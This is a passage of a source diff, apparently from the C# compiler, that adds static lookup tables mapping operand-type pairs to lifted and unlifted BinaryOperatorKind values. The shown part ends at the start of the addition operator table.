BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + } + }; + + private static readonly BinaryOperatorKind[,] s_addition = new BinaryOperatorKind[32, 32] + { + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.String, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + BinaryOperatorKind.StringAndObject, + 